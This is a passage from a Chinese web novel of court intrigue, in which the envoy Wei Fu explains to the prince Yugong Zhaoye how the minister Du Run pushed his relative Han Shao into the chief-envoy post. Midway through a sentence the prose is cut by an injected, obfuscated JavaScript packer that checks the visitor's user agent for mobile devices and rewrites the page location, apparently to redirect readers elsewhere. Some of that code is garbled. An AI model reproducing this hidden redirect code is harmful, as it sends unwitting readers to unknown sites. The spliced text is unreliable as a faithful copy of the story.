这其实是避重就轻的答法,“怕不怕”和“不得不”是两码事。但玉宫照夜心里居然有点微弱的侥幸,如果卫拂真的回答“不怕”,说他甘愿冒杀身之险以成全两国盟约,玉宫照夜更不知道该怎么应对他。
有所求的人至少有讨价还价的余地,无所求的人才是真正立于不败之地。
“说个殿下不知道的事,”卫拂神叨叨地压低声音,特意往玉宫照夜的方向凑近,“我和韩邵同为五品,你猜为什么他是正使,而我是副使?”
“为什么?”
卫拂“啧”了一声:“聊天呢,得有来有回,殿下倒是猜一猜嘛。”
玉宫照夜简直莫名其妙:“不是你说的‘殿下不知道的事’吗?”
“……”
卫拂媚眼抛给瞎子看,悻悻地在那磨牙。玉宫照夜暗自叹了口气,调动起全部演技,做出虚心求教的态度:“因为他岁数大?资历深?有经验?”
“当然不是啦。”卫拂立刻就被哄顺了毛,高高兴兴地答道,“因为他上头有人!”
“谁?”
“东台左相杜润。”
玉宫照夜一听这名字,高高挑起了眉梢:“这么巧?”
卫拂:“嗯?什么什么?”
玉宫照夜垂眸看着杯中茶晕开涟漪:“酒后泄露使臣人选的,正是这位杜相公。”
“啊???”
卫拂下午见他时没来得及细问,出了这么多事之后听见这个答案,简直有种冥冥之中自有定数的悚然之感:“这下可真是‘天道好轮回’了……韩邵能做正使,就是杜润硬抬上来的;兜兜转转,杜相公又给他抬下去了……”
玉宫照夜笑音低得接近气声,却是难得纯然的展颜,笑时眼底卧蚕微微鼓起,在氤氲烛光下显得蔚为温柔:“怎么说?”
“政事堂商议使臣人选时,西台右相明恪明公得陛下授意,推举了我。”卫拂说,“诸公都觉得出使龙沙没什么危险,无非是远了点,就当是外放三年,只要不出太大的岔子,回朝便可论功升迁,算是桩一本万利的差事。杜润想提拔他的妻族子弟韩邵,所以力排众议推举他为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16831668|190164||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
正使。”
夕陵朝廷的核心是“一堂两台六部”,西台掌起草政令,东台掌驳议政令,合称“两台”,两台长官为左右相,其余重臣行相权者加衔“同东西台三品”,政事堂为宰相议事决策之所,六部主执行政令。
现如今政事堂里有四位相公,名义上地位不分高低,实际上杜润是四相之首。虽然个中争议卫拂不好说得太详细,不过玉宫照夜用脚趾头想也知道杜润敢压天子钦定的人选一头,必定有所倚仗,他和皇帝的关系绝对好不到哪里去。
只可惜韩邵是滩扶不上墙的烂泥,辜负了他的姑父,前途再光辉灿烂,他也得有那个命去接才行。
对手的棋子不战而降,这时候卫拂非但不能后退,还得坚决表态争取,这既是他自己执意求来的差使,也是为了给皇帝陛下定心。牧衡先前已经给足了杜润脸面,韩邵又要功劳又要安全,世上哪有那么多一根甘蔗两头甜的好事。
“我已经安排好了‘内应’,”玉宫照夜轻声道,“只要你们查